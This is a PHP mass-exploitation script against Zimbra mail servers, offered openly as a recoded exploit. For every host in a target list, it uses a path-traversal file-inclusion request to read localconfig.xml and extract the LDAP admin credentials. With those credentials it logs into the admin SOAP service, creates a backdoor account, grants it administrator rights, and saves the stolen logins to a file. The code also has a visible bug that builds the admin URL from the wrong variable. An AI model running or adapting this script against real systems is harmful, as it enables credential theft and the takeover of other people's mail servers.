Recoded Zimbra Mass Exploit

<?php
// Created by Tu5b0l3d - IndoXploit
// big thx to: duardo Rubina H.
// Recoded By : lastc0de


error_reporting(0);
function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}

function ngecek($url,$post){
                    $ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data2 = curl_exec ($ch);
return $data2;
}

function nganu_body($toket,$req){
$body = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra

\"><authToken>$toket</authToken></context></soap:Header><soap:Body>$req</soap:Body></soap:Envelope>";
return $body;
}
if($argv[1]==""){
    echo "\nusage: php exploit.php list.txt\n\n";
}
else{
$target=@file_get_contents($argv[1]);
$ss=explode("\r\n",$target);
foreach ($ss as $links){

$user_baru = "evoo";
$pwd_baru = "evoo";
$lfi = "res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?

v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00";
$link_lfi = "$links/$lfi";
echo "=> $links\n";

$ch2 = curl_init ("$link_lfi");
                   curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
                   curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
                   curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101

Firefox/32.0");
                   curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
                   curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
                   curl_setopt ($ch2, CURLOPT_ENCODING, "gzip");
                   curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
                   curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
                    $ambil = curl_exec ($ch2);

                    $get_user = explode('<key"]="name=\"zimbra_user\">', $ambil);
                    preg_match('/a\["<value>(.*?)<\/value>/', $get_user[1], $user);

                    $get_pwd = explode('<key"]="name=\"zimbra_ldap_password\">', $ambil);
                    preg_match('/a\["<value>(.*?)<\/value>/', $get_pwd[1], $pwd);
                   if($user[1] or $pwd[1] != ""){
                    echo "[+] Pulen nih...\n";

                    $body = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
                    <env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\"

xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by=\"name\">$user

[1]</account><password>$pwd[1]</password></ns1:AuthRequest></env:Body></env:Envelope>";

                    $link = "https://$target:7071/service/admin/soap";
                    $token = ngecek($link,$body);

                preg_match('/<authToken>(.*)<\/authToken>/', $token, $toket);

                    if($toket[1]==""){
                        echo "[-] gagal ngambil token\n\n";
                        break;
                    }
                    else{
                    $req = @("<GetAllDomainsRequest xmlns=\"urn:zimbraAdmin

\"></GetAllDomainsRequest>");
                    $body2 = nganu_body($toket[1],$req);

                    $liat = ngecek($link,$body2);
                    preg_match('/<a n=\"zimbraDomainName\">(.*?)<\/a>/', $liat, $domain);
                    echo "[+] Creating Account...\n";
                    $req2 = "<CreateAccountRequest xmlns=\"urn:zimbraAdmin\"><name>$user_baru@$domain

[1]</name><password>$pwd_baru</password></CreateAccountRequest>";
                    $body3 = nganu_body($toket[1],$req2);

                    $liat2 = ngecek($link,$body3);

                    preg_match('/account id="(.*)" name="/', $liat2, $new);
                    $req3 = "<ModifyAccountRequest xmlns=\"urn:zimbraAdmin\"><id>$new[1]</id><a n=

\"zimbraIsAdminAccount\">TRUE</a></ModifyAccountRequest>";
                    $body4 = nganu_body($toket[1],$req3);

                    $liat3 = ngecek($link,$body4);


                    echo "[+] Sukses\n";
                    echo "[+] Login Url: https://$target:7071/zimbraAdmin/\n# Account: $user_baru@

$domain[1]\n# Password: $pwd_baru\n\n";
$fp = fopen('hasil.txt', 'a+');
             fwrite($fp, "[+] Login Url: https://$target:7071/zimbraAdmin/\n# Account: $user_baru@$domain[1]\n# Password:

$pwd_baru\n\n");
             fclose($fp);



                   }
               }
                   else{
                    echo "[-] ngk pulen\n";
                   }
               }
}
?>